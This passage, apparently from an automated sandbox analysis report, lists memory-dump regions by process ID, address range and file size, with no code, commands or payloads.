                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2392-288-0x0000015E09100000-0x0000015E09167000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2404-290-0x000001EB81FD0000-0x000001EB82037000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2716-264-0x000001C568D10000-0x000001C568D77000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2852-295-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2884-255-0x0000000002790000-0x000000000292C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/3704-296-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          80KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4268-123-0x00007FF959410000-0x00007FF959411000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4508-258-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4696-256-0x0000000002F40000-0x0000000002F42000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4892-262-0x000001DC89E40000-0x000001DC89EA7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          412KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/4892-261-0x000001DC89D80000-0x000001DC89DC4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          272KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5196-291-0x00000000001E0000-0x00000000001E2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-310-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-316-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-300-0x0000000005000000-0x0000000005001000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-301-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-302-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-304-0x0000000005040000-0x0000000005041000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-306-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-309-0x0000000005090000-0x0000000005091000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-299-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-312-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-314-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-297-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-315-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-313-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-311-0x00000000050B0000-0x00000000050B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-308-0x0000000005080000-0x0000000005081000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-307-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-305-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5204-303-0x0000000005030000-0x0000000005031000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5332-292-0x0000000000EE0000-0x0000000000EE2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/5564-317-0x0000000000400000-0x000000000044C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          304KB